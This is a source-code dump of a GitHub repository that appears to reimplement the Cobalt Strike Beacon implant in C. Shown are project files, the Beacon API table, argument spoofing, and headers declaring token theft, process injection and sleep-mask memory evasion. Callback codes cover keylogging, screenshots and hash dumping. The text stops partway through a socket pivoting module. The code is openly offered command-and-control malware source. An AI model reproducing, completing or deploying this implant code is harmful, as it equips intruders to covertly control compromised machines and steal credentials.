Repository: ElJaviLuki/CobaltStrike_OpenBeacon
Branch: master
Commit: 93e5703b064d
Files: 72
Total size: 225.1 KB
Directory structure:
gitextract_3qilwohy/
├── .gitattributes
├── .gitignore
├── Beacon/
│ ├── Beacon.vcxproj
│ ├── Beacon.vcxproj.filters
│ ├── api.c
│ ├── api.h
│ ├── argument.c
│ ├── argument.h
│ ├── beacon.c
│ ├── beacon.h
│ ├── callback.h
│ ├── channel.c
│ ├── channel.h
│ ├── command.h
│ ├── crypto.c
│ ├── crypto.h
│ ├── data.c
│ ├── download.c
│ ├── download.h
│ ├── error.h
│ ├── filesystem.c
│ ├── filesystem.h
│ ├── format.c
│ ├── identity.c
│ ├── identity.h
│ ├── inline_execute_object.c
│ ├── inline_execute_object.h
│ ├── job.c
│ ├── job.h
│ ├── link.c
│ ├── link.h
│ ├── logger.h
│ ├── macros.h
│ ├── main.c
│ ├── memory.c
│ ├── metadata.c
│ ├── metadata.h
│ ├── network.c
│ ├── network.h
│ ├── pch.c
│ ├── pch.h
│ ├── pipe.c
│ ├── pipe.h
│ ├── powershell.c
│ ├── powershell.h
│ ├── process.c
│ ├── process.h
│ ├── protocol.c
│ ├── protocol.h
│ ├── self.c
│ ├── self.h
│ ├── spawn.c
│ ├── spawn.h
│ ├── stage.c
│ ├── stage.h
│ ├── strategy.c
│ ├── strategy.h
│ ├── strategy_default.c
│ ├── strategy_failover.c
│ ├── strategy_random.c
│ ├── task.c
│ ├── thread.c
│ ├── thread.h
│ ├── transform.c
│ ├── transform.h
│ ├── utils.c
│ ├── utils.h
│ ├── web_response.c
│ └── web_response.h
├── CobaltStrike.sln
├── LICENSE
└── README.md
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
/Beacon/settings.h
/libtomcrypt/
/libtommath/
================================================
FILE: Beacon/Beacon.vcxproj
================================================
Debug
Win32
Release
Win32
Debug
x64
Release
x64
Create
Create
Create
Create
CppCode
CppCode
CppCode
{e3802982-dcb6-4d85-a2bd-6b08f0657e79}
17.0
Win32Proj
{95502b5e-5763-4ec5-a64c-1e9e33409e2f}
Beacon
10.0
Application
true
v143
NotSet
Application
false
v143
true
NotSet
Application
true
v143
NotSet
Application
false
v143
true
NotSet
$(SolutionDir)out\$(Configuration)\$(Platform)
$(SolutionDir)int\$(Configuration)\$(Platform)
false
false
$(SolutionDir)out\$(Configuration)\$(Platform)
$(SolutionDir)int\$(Configuration)\$(Platform)
false
false
$(SolutionDir)out\$(Configuration)\$(Platform)
$(SolutionDir)int\$(Configuration)\$(Platform)
false
false
$(SolutionDir)out\$(Configuration)\$(Platform)
$(SolutionDir)int\$(Configuration)\$(Platform)
false
false
Level3
false
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
stdcpp20
stdc17
Use
pch.h
MultiThreadedDebug
$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)
false
false
Console
true
Level3
true
true
false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
stdcpp20
stdc17
Use
pch.h
MultiThreaded
$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)
MinSpace
Size
false
false
Console
true
true
true
Level3
false
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
stdcpp20
stdc17
Use
pch.h
MultiThreadedDebug
$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)
false
false
Console
true
Level3
true
true
false
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
stdcpp20
stdc17
Use
pch.h
MultiThreaded
$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)
MinSpace
Size
false
false
Console
true
true
true
================================================
FILE: Beacon/Beacon.vcxproj.filters
================================================
{4FC737F1-C7A5-4376-A066-2A32D752A2FF}
cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
{93995380-89BD-4b04-88EB-625FBE52EBFB}
h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Source Files
Source Files
Source Files
Header Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
Source Files
================================================
FILE: Beacon/api.c
================================================
#include "pch.h"
#include "api.h"
void BeaconAPI(bapi* beaconApi)
{
*beaconApi = (bapi){
LoadLibraryA,
FreeLibrary,
GetProcAddress,
GetModuleHandleA,
BeaconDataParse,
BeaconDataPtr,
BeaconDataInt,
BeaconDataShort,
BeaconDataLength,
BeaconDataExtract,
BeaconFormatAlloc,
BeaconFormatReset,
BeaconFormatPrintf,
BeaconFormatAppend,
BeaconFormatFree,
BeaconFormatToString,
BeaconFormatInt,
BeaconOutput,
BeaconPrintf,
BeaconErrorD,
BeaconErrorDD,
BeaconErrorNA,
BeaconUseToken,
BeaconIsAdmin,
BeaconRevertToken,
BeaconGetSpawnTo,
BeaconCleanupProcess,
BeaconInjectProcess,
BeaconSpawnTemporaryProcess,
BeaconInjectTemporaryProcess,
toWideChar
};
}
PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction)
{
PROC* potentialFuncLocation = NULL;
// Iterate through the dynamic function array
for (int index = 0; index < MAX_DYNAMIC_FUNCTIONS; ++index)
{
PROC* currentFunction = &api->dynamicFns[index];
// Check if the current function matches the one we're looking for
if (*currentFunction == newFunction)
{
// Function found, return its pointer
return currentFunction;
}
// Check if we found an empty slot for a new function
if (potentialFuncLocation == NULL && *currentFunction == NULL)
{
// Store the current slot as a potential location for the new function
potentialFuncLocation = currentFunction;
}
}
// If no empty slot was found, return NULL
if (potentialFuncLocation == NULL)
{
return NULL;
}
// Add the new function to the found empty slot
*potentialFuncLocation = newFunction;
// Function added, return its pointer
return potentialFuncLocation;
}
================================================
FILE: Beacon/api.h
================================================
#pragma once
#include "beacon.h"
#define MAX_DYNAMIC_FUNCTIONS 32
typedef struct _bapi
{
HMODULE (*fnLoadLibraryA)(LPCSTR lpLibFileName);
BOOL (*fnFreeLibrary)(HMODULE hLibModule);
FARPROC (*fnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
HMODULE (*fnGetModuleHandleA)(LPCSTR lpModuleName);
void (*fnBeaconDataParse)(datap* parser, char* buffer, int size);
char*(*fnBeaconDataPtr)(datap* parser, int size);
int (*fnBeaconDataInt)(datap* parser);
short (*fnBeaconDataShort)(datap* parser);
int (*fnBeaconDataLength)(datap* parser);
char*(*fnBeaconDataExtract)(datap* parser, int* size);
void (*fnBeaconFormatAlloc)(formatp* format, int maxsz);
void (*fnBeaconFormatReset)(formatp* format);
void (*fnBeaconFormatPrintf)(formatp* format, char* fmt, ...);
void (*fnBeaconFormatAppend)(formatp* format, char* text, int len);
void (*fnBeaconFormatFree)(formatp* format);
char*(*fnBeaconFormatToString)(formatp* format, int* size);
void (*fnBeaconFormatInt)(formatp* format, int value);
void (*fnBeaconOutput)(int type, char* data, int len);
void (*fnBeaconPrintf)(int type, char* fmt, ...);
void (*fnBeaconErrorD)(int type, int d1);
void (*fnBeaconErrorDD)(int type, int d1, int d2);
void (*fnBeaconErrorNA)(int type);
BOOL (*fnBeaconUseToken)(HANDLE token);
BOOL (*fnBeaconIsAdmin)();
void (*fnBeaconRevertToken)();
void (*fnBeaconGetSpawnTo)(BOOL x86, char* buffer, int length);
void (*fnBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo);
void (*fnBeaconInjectProcess)(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg,
int a_len);
BOOL (*fnBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
void (*fnBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset,
char* arg, int a_len);
BOOL (*fnToWideChar)(char* src, wchar_t* dst, int max);
PROC dynamicFns[MAX_DYNAMIC_FUNCTIONS];
} bapi;
void BeaconAPI(bapi* beaconApi);
PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction);
================================================
FILE: Beacon/argument.c
================================================
#include "pch.h"
#include "argument.h"
#include "beacon.h"
#include "utils.h"
typedef struct _ARGUMENT_ENTRY
{
BOOL isActive;
const char expandedCmd[8192];
const char expandedFullCmd[8192];
struct _ARGUMENT_ENTRY* next;
} ARGUMENT_ENTRY;
ARGUMENT_ENTRY* gArguments = NULL;
BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd)
{
for (const ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive && strstr(cmd, current->expandedCmd) == cmd)
{
*extendedCmd = (EXPANDED_CMD) { current->expandedFullCmd, current->expandedCmd };
return TRUE;
}
}
return FALSE;
}
ARGUMENT_ENTRY* ArgumentFindOrCreate(char* expanded)
{
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (!current->isActive && strcmp(expanded, current->expandedCmd) == 0)
return current;
}
ARGUMENT_ENTRY* current = gArguments;
while(current && current->isActive)
current = current->next;
ARGUMENT_ENTRY* argument;
if (!current)
{
// Create a new entry for the new argument
argument = (ARGUMENT_ENTRY*)malloc(sizeof(ARGUMENT_ENTRY));
*argument = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current };
gArguments = argument;
} else
{
// Reuse this entry for the new argument
argument = current;
}
return argument;
}
void ArgumentAdd(char* buffer, int length)
{
#define MAX_ORIGINAL 0x2000
#define MAX_EXPANDED 0x2000
#define MAX_EXPANDED_FULL 0x2000
datap* locals = BeaconDataAlloc(MAX_ORIGINAL + MAX_EXPANDED + MAX_EXPANDED_FULL);
char* original = BeaconDataPtr(locals, MAX_ORIGINAL);
char* expanded = BeaconDataPtr(locals, MAX_EXPANDED);
char* expandedFull = BeaconDataPtr(locals, MAX_EXPANDED_FULL);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, original, MAX_ORIGINAL);
ExpandEnvironmentStrings_s(original, expanded, MAX_EXPANDED);
BeaconDataStringCopySafe(&parser, expandedFull, MAX_EXPANDED_FULL);
ARGUMENT_ENTRY* argument = ArgumentFindOrCreate(expanded);
argument->isActive = TRUE;
ExpandEnvironmentStrings_s(original, argument->expandedCmd, MAX_EXPANDED);
ExpandEnvironmentStrings_s(expandedFull, argument->expandedFullCmd, MAX_EXPANDED_FULL);
BeaconDataFree(locals);
}
void ArgumentRemove(char* buffer, int length)
{
char* expanded = malloc(MAX_EXPANDED);
buffer[length] = '\0';
ExpandEnvironmentStrings_s(buffer, expanded, MAX_EXPANDED);
// For each active argument
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive && strcmp(expanded, current->expandedCmd) == 0)
{
current->isActive = FALSE;
*current = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current->next };
break;
}
}
free(expanded);
}
void ArgumentList()
{
formatp format;
BeaconFormatAlloc(&format, 0x8000);
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive)
{
BeaconFormatPrintf(&format, "%s\n", current->expandedFullCmd);
}
}
int size = BeaconDataLength(&format);
char* buffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_OUTPUT, buffer, size);
BeaconFormatFree(&format);
}
================================================
FILE: Beacon/argument.h
================================================
#pragma once
typedef struct _EXPANDED_CMD
{
char* fullCmd;
char* cmd;
} EXPANDED_CMD;
BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd);
void ArgumentAdd(char* buffer, int length);
void ArgumentRemove(char* buffer, int length);
void ArgumentList();
================================================
FILE: Beacon/beacon.c
================================================
#include "pch.h"
#include "beacon.h"
#include "settings.h"
================================================
FILE: Beacon/beacon.h
================================================
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
*/
#pragma once
#include "pch.h"
typedef struct
{
char* buffer;
int size;
} sizedbuf;
/* data API - unpacks data */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
datap* BeaconDataAlloc(int size);
void BeaconDataFree(datap * parser);
void BeaconDataParse(datap * parser, char * buffer, int size);
char * BeaconDataPtr(datap * parser, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
char BeaconDataByte(datap * parser);
char * BeaconDataStringPointer(datap * parser);
char * BeaconDataStringPointerCopy(datap * parser, int size);
int BeaconDataStringCopySafe(datap * parser, char * buffer, int size);
int BeaconDataStringCopy(datap* parser, char* buffer, int size);
char* BeaconDataOriginal(datap* parser);
char* BeaconDataBuffer(datap* parser);
int BeaconDataLength(datap * parser);
char* BeaconDataLengthAndString(datap * parser, sizedbuf* sb);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconDataZero(datap * parser);
/* format API - packs data */
typedef datap formatp;
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatUse(formatp * format, char * buffer, int size);
void BeaconFormatReset(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
void BeaconFormatFree(formatp * format);
void BeaconFormatInt(formatp * format, int value);
void BeaconFormatShort(formatp * format, short value);
void BeaconFormatChar(formatp * format, char value);
char* BeaconFormatOriginal(formatp* format);
char* BeaconFormatBuffer(formatp* format);
int BeaconFormatLength(formatp* format);
/* once you're done with the format... */
char * BeaconFormatToString(formatp * format, int * size);
/* Output Functions */
#include "callback.h"
void BeaconOutput(int type, char * data, int len);
void BeaconPrintf(int type, char * fmt, ...);
void BeaconErrorD(int type, int d1);
void BeaconErrorDD(int type, int d1, int d2);
void BeaconErrorNA(int type);
void BeaconErrorS(int type, char * s1);
void BeaconErrorDS(int type, int d1, char * s1);
void BeaconErrorDDS(int type, int d1, int d2, char* s1);
void BeaconErrorPrintf(int type, char * fmt, ...);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken(void);
BOOL BeaconIsAdmin(void);
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
void BeaconInjectProcess(HANDLE hProcess, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* sections - list of memory sections beacon wants to mask. These are offset values
* from the beacon_ptr and the start value is aligned on 0x1000 boundary.
* A section is denoted by a pair indicating the start and end offset values.
* The list is terminated by the start and end offset values of 0 and 0.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*/
typedef struct {
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
DWORD * sections;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
} BEACON_INFO;
void BeaconInformation(BEACON_INFO * info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
BOOL BeaconAddValue(const char * key, void * ptr);
void * BeaconGetValue(const char * key);
BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
void BeaconDataStoreProtectItem(size_t index);
void BeaconDataStoreUnprotectItem(size_t index);
size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
char * BeaconGetCustomUserData();
================================================
FILE: Beacon/callback.h
================================================
#pragma once
#define CALLBACK_OUTPUT 0
#define CALLBACK_KEYSTROKES 1
#define CALLBACK_FILE 2
#define CALLBACK_SCREENSHOT 3
#define CALLBACK_CLOSE 4
#define CALLBACK_READ 5
#define CALLBACK_CONNECT 6
#define CALLBACK_PING 7
#define CALLBACK_FILE_WRITE 8
#define CALLBACK_FILE_CLOSE 9
#define CALLBACK_PIPE_OPEN 10
#define CALLBACK_PIPE_CLOSE 11
#define CALLBACK_PIPE_READ 12
#define CALLBACK_POST_ERROR 13
#define CALLBACK_PIPE_PING 14
#define CALLBACK_TOKEN_STOLEN 15
#define CALLBACK_TOKEN_GETUID 16
#define CALLBACK_PROCESS_LIST 17
#define CALLBACK_POST_REPLAY_ERROR 18
#define CALLBACK_PWD 19
#define CALLBACK_JOBS 20
#define CALLBACK_HASHDUMP 21
#define CALLBACK_PENDING 22
#define CALLBACK_ACCEPT 23
#define CALLBACK_NETVIEW 24
#define CALLBACK_PORTSCAN 25
#define CALLBACK_DEAD 26
#define CALLBACK_SSH_STATUS 27
#define CALLBACK_CHUNK_ALLOCATE 28
#define CALLBACK_CHUNK_SEND 29
#define CALLBACK_OUTPUT_OEM 30
#define CALLBACK_ERROR 31
#define CALLBACK_OUTPUT_UTF8 32
================================================
FILE: Beacon/channel.c
================================================
#include "pch.h"
#include "channel.h"
#include "beacon.h"
#include "link.h"
#include "network.h"
#include "protocol.h"
typedef struct CHANNEL_ENTRY
{
int id;
int state;
int timeoutPeriod;
int lastActive;
int type;
int port;
int creationTime;
SOCKET socket;
struct CHANNEL_ENTRY* next;
} CHANNEL_ENTRY;
CHANNEL_ENTRY* gChannels;
char* gChannelBuffer;
int gChannelIdCount = 0;
#define CHANNEL_STATE_0 0
#define CHANNEL_STATE_1 1
#define CHANNEL_STATE_2 2
#define CHANNEL_STATE_3 3
#define CHANNEL_TYPE_CONNECT 0
#define CHANNEL_TYPE_LISTEN 1
#define CHANNEL_TYPE_BIND 2
#define CHANNEL_TYPE_TCP_PIVOT 3
BOOL ChannelIsBindValid(short port)
{
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state && channel->type == CHANNEL_TYPE_BIND && channel->port == port)
{
return TRUE;
}
}
return FALSE;
}
SOCKET ChannelSocketCreateAndBind(const int addr, const short port, const int backlog)
{
NetworkInit();
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if(sock == INVALID_SOCKET)
{
return INVALID_SOCKET;
}
struct sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = addr;
sockaddr.sin_port = htons(port);
int argp = 1; // 1 = non-blocking
if(ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR
|| bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR
|| listen(sock, backlog) == SOCKET_ERROR)
{
closesocket(sock);
return INVALID_SOCKET;
}
return sock;
}
void ChannelAdd(SOCKET socket, int id, int timeoutPeriod, int type, int port, int state)
{
CHANNEL_ENTRY* newChannel = malloc(sizeof(CHANNEL_ENTRY));
*newChannel = (CHANNEL_ENTRY){
.id = id,
.socket = (HANDLE)socket,
.state = state,
.lastActive = 0,
.creationTime = GetTickCount(),
.timeoutPeriod = timeoutPeriod,
.port = port,
.type = type,
.next = gChannels
};
